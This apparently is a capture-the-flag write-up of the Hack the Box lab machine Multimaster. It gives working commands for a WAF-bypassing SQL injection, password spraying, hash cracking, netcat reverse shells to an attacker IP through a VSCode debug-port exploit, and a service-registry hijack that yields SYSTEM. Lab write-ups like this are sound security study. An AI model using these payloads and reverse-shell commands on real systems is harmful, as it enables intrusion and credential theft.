Hack the Box - Multimaster

hack the box Apr 20, 2020

Hey everyone, today we are tackling the Hack the Box machine - Multimaster. This is a Windows box with an Insane difficulty rating! Let's dive in!

As usual, we start with our nmap: nmap -sC -sV -p- -oA allscan 10.10.10.179

Here are our results:

Nmap scan report for 10.10.10.179
Host is up (0.045s latency).
Not shown: 65513 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: MegaCorp
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-04-20 19:44:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds  Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: MEGACORP
|   NetBIOS_Domain_Name: MEGACORP
|   NetBIOS_Computer_Name: MULTIMASTER
|   DNS_Domain_Name: MEGACORP.LOCAL
|   DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
|   DNS_Tree_Name: MEGACORP.LOCAL
|   Product_Version: 10.0.14393
|_  System_Time: 2020-04-20T19:46:20+00:00
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2020-03-08T09:52:26
|_Not valid after:  2020-09-07T09:52:26
|_ssl-date: 2020-04-20T19:46:59+00:00; +9m50s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49699/tcp open  msrpc         Microsoft Windows RPC
49744/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=4/20%Time=5E9DF938%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h33m50s, deviation: 3h07m50s, median: 9m50s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: MULTIMASTER
|   NetBIOS computer name: MULTIMASTER\x00
|   Domain name: MEGACORP.LOCAL
|   Forest name: MEGACORP.LOCAL
|   FQDN: MULTIMASTER.MEGACORP.LOCAL
|_  System time: 2020-04-20T12:46:20-07:00
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-04-20T19:46:23
|_  start_date: 2020-04-20T00:16:29

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 624.03 seconds

As we can see, it looks like a pretty standard Windows server setup. We get the domain name from the scan as well as a hostname. We'll add these to our hosts file and head over to see what might be hosted on port 80.

We see land on a page that is called the Employee Hub.

Before we tart poking around the source of this page, let's kick off a gobuster to see what we might be able to find.

Command:
gobuster dir -u multimaster.megacorp.local -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -s 200,302

In this case we're specifying the -s to only show codes for 200 and 302, otherwise we are flooded with 403.

We'll start browsing the site to see what type of information we can find. When we click on the 'Colleague Finder' We are given a list of users with email. We'll save these names and emails and add them to a list. Once we have them in a list it looks like this:

We want to clean that up we delete all the lines with spaces in them.

Command:
cat users.txt | sed '/.*\ .*/g' | sed '/^$/d' | sed '/CEO/d' | sed '/MinatoTW/d' | sed '0,/egre55/{/egre55/d};' > email.lst

Then we can create a file with just usernames in it with the following

Command:
cat email.lst | sed -r 's/.{13}$//' > username.lst

Now that we have our user list cleaned up we can take a peek at what's is happening behind the scenes. We'll load up Burpsuite and start listening on our POST requests.

When we look at the request on the search page, we see that the POST is sent to /api/getColleagues. The /api url is something we might want to fuzz as well.

If we send this request to repeater inside Burpsuite, we can start fuzzing it. Sending special characters to the field yeilds some interesting responses. When we send ' we get a 403, when we send a * we get nothing back. If we send a % we get everyone back. This would lead you to believe there is some kind of potential SQL injection here. Another thing of note is we often get back just dead brackets [] So there could be some kind of ingress / egress filtering happening. Below is a small clip showing that we can use some basic WAF bypass techniques to show there does seem to be some kind of WAF.

While doing research on this, I came accross this resource that suggested using \u to send Unicode in a Hex format.

This seems to give us a valid value back. Luckily for us, SQLMap provides a way for us to create what's called a Tamper Script to fuzz / inject this request.

We need to save the current request we have in BurpSuite and repaced the unicode in the JSON with a %. This tell SQLMap to fuzz the field. We also need to give it a delay to bypass whatever WAF is happening.

Command:
sqlmap -r request.txt --tamper charunicodeescape --dbs -delay 3

We finally are able to start exploring the DB structure. We can spend time to find the tables we want and extract the hashes. We finally get them as well as a list of usernames. We see that some of the hashes are duplicate, so we actually only have 4 hashes, we'll send to hashcat.

Command:
hashcat-m 17900 -D 1 -a 0 -n 10 .\hashes.txt .\rockyou.txt -o out.txt —force

I run hashcat on my Windows machine, so you're command might be slightly different.

That runs and we have three matches:

Now we have a list of passwords and a list of users, but when we run them nothing matches. It looks like we'll need to find another way to enumerate users within the domain. Research lead me here since I knew there was already a Metasploit module for AD enumeration via SQL and SQLi. What's important here is that we can see on line 153 the SQL command Metasploit runs to enumerate Domain SID. So we can combine our knowledge of the SQL statment used to craft an SQL Injection to obtain the Domain Admin RID. Eventually we create the following injection:

Command:
-' union select 1,2,3,4,(select (select stuff(upper(sys.fn_varbintohexstr((SELECT USER_SID('MEGACORP\Domain Admins')))), 1, 2, '')))-- -

Now we need to encode it. I used this site to format the string intially. Then a quick find and replace (Find: 0x Replace with: \u00) to format it appropriately. We send it to repeater in Burpsuite and get our RID back!

Now that we know the Domain RID we can determine the SID. The RID is the base for all of the SID's on the domain. The first 48 bytes of the RID above gives us our base SID: 0x0105000000000005150000001C00D1BCD181F1492BDFC236. We can use it to enumerate users and groups based on this module. We modify our SQL statment to be:

Command:
-' union select 1,2,3,4,SUSER_SNAME(0x0105000000000005150000001C00D1BCD181F1492BDFC23600020000)-- -

When we run it, sure enough we get back the group associated - Domain Admins, as expected.

Now our PoC works, we just need to wrap it up into something more efficient and repeat the process over and over. Under 'Manually Enumerating Domains' on this resource, we are told the process we need to follow to enumerate every domain user.

This is done best in python. Here's a link to my script. After we run it, these are the results we get:

Awesome, now we have a list of usernames to append to our username listing. We can now retry a spray against the domain with these new users added to the list.

Command:
hydra -L username.lst -P passwords 10.10.10.179 smb

We get a matching set! Now we can use Evil-WinRM to log in as this user.

Command:
Evil-WinRM -i multimaster.megacorp.local -u tushikikatomo -p finance1

We get connected and download our User.txt flag! Now that we are on the inside we need to start enumerating internally. For windows machines I like to run WinPEAS as well as Bloodhound. First we'll upload our SharpHound executatble and run it.

Commands:
upload ~/Tools/SharpHound.exe
.\SharpHound.exe

We'll download the output from SharpHound then we'll upload winPEAS the same way.

Command:
download 20200601075532_BloodHound.zip

Commands:
upload ~/Tools/winPEAS.bat
.\winPEAS.bat

WinPEAS didn't return much of anything. Once we load the data into BloodHound, we can start to view the data visually. We will issue the following custom query:

Match (n:Group) WHERE n.name CONTAINS "" return n

This will return all the groups in the domain. This will allow us to inspect them and see the relationships, if any, between other objects.

As we sift through the groups, we see one noted as Developers with 4 direct members.

What is of interest here is we have Jorden's account with also has haccess to the Server Operators group.

It would seem like this could be our path forward but how. We'll need to enumerate further. Our winPEAS results weren't that great but that can often be the case when permissions are lacking. I generally do a second round of enumeration on every box by hand for missing links. In this case, we will issue the PowerShell command get-process to see what's running on the current system.

In this case, we see the process Code quite a few times. A quick google shows us that this is VSCode. We can confirm this by heading to C:\Program Files\ and indeed see VSCode listed.

Google for Visual Studio Code CVE shows that there have been some recent vulnerabilities. This post in particular is interesting. Now we have two potential vectors here. One using a Metasploit payload and creating a port forward of the ports and executing the PoC code listed. Or we can use this GitHub tool. This lets us interact with the debug ports in a malicious way. We can upload this tool as well as netcat to get a shell.

Commands:
upload nc.exe
upload cefdebug

With these two on the system we can use cefdebug.exe to check what port might be listening since it's random.

Command:
.\cefdebug.exe

Now that we know our port, we can issue a remote command like noted in the documentation. The port is changing every 20 seconds or so, so we'll need to create our payload ahead of time so we can be time efficient.

Payload:

.\cefdebug.exe --url ws://127.0.0.1:39205/736a1a5e-07c0-40ea-9034-d429746deed2 --code "process.mainModule.require('child_process').exec('cmd.exe /c C:\Users\alcibiades\Documents\nc.exe 10.10.14.143 7777 -e powershell.exe')"

When we run it, we get a connection back as cyork.

Now we need to start enumerating as this user. As we are enumerating we see an interesting DLL and PDB file in the bin directory of wwwroot.

We'll use copy-item PowerShell command in conjunction with our own SMB server. First we spin up an SMB server:

Command:
impacket-smbserver -smb2support root .

Next we copy the files to that share.

Command:
copy-item -Path C:\inetpub\wwwroot\bin\MultimasterAPI.dll -Destination '\\10.10.14.143\root\'
copy-item -Path C:\inetpub\wwwroot\bin\MultimasterAPI.pdb -Destination '\\10.10.14.143\root\'

With some luck we can analyze the PDB and .DLL for some passwords. A quick strings on the .dll doesn't give anything. When we cat the .dll we see something useful!

There is a password string - D3veL0pM3nT! Normally, I would open this file with dotPeek but this time cat got the job done! For those interested, here is it's location within the DLL.

Under the MultimasterAPI.Controllers > HttpResponseMessage:

Now with a new password, we can try to connect with it. We weren't able to connect as the user finder but we will reuse this password for all users in the development group that we saw above. We are able to log in as sbauer.

Awesome, more enumeration! We don't find much more in terms of access. We know that we want to gain access to the Server Operators group somehow either as Jorden or as another entity. In this scenario we want to attempt a Kerberoast of the target, but BloodHound shows us that no users have the property, DONT_REQ_PREAUTH, set accordingly. However, it looks like we actually have the ability to set it!

Command:
Set-ADAccountControl -Identity jorden -doesnotrequirepreauth $true

Now with this set, we should be able to use Impackets GetNPUsers to obtain a hash.

Command:
python3 GetNPUsers.py megacorp.local/sbauer:"D3veL0pM3nT!" -dc-ip multimaster.htb -request

Sure enough, it works! We can now take this hash and send it to hashcat.

Command:
.\hashcat64.exe -m 18200 -D 1 -a 0 -n 10 .\jorden.txt .\rockyou.txt -o jorden_out.txt --force

We see a password of rainforest786. Now we will login as Jorden!

Still no access to our root flag yet! We need to continue to enumerate. This time winPEAS does give us what we want right away! We see that we have the ability to modify registry entries of services. Sow e can simply modify a services registry entry so that it will send a connection back to use as System!

For this to work, we need a service that is already stopped. All of the tools I would use to check the current running services are denied. So in this case, I did each int he list one at a time....

We are going to exploit the standard service weakness like we have in boxes before this.

We'll issue the following command.

Command:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SensorDataService" /v ImagePath /t REG_EXPAND_SZ /d "C:\tmp\nc.exe 10.10.14.143 6969 -e powershell.exe" /f

Then we start the service:
sc.exe start SensorDataService

Then we get our shell back as System. Box complete!

Hopefully you enjoyed this machine as much as I did. Feel free to send some respect my way on HTB if you found it helpful!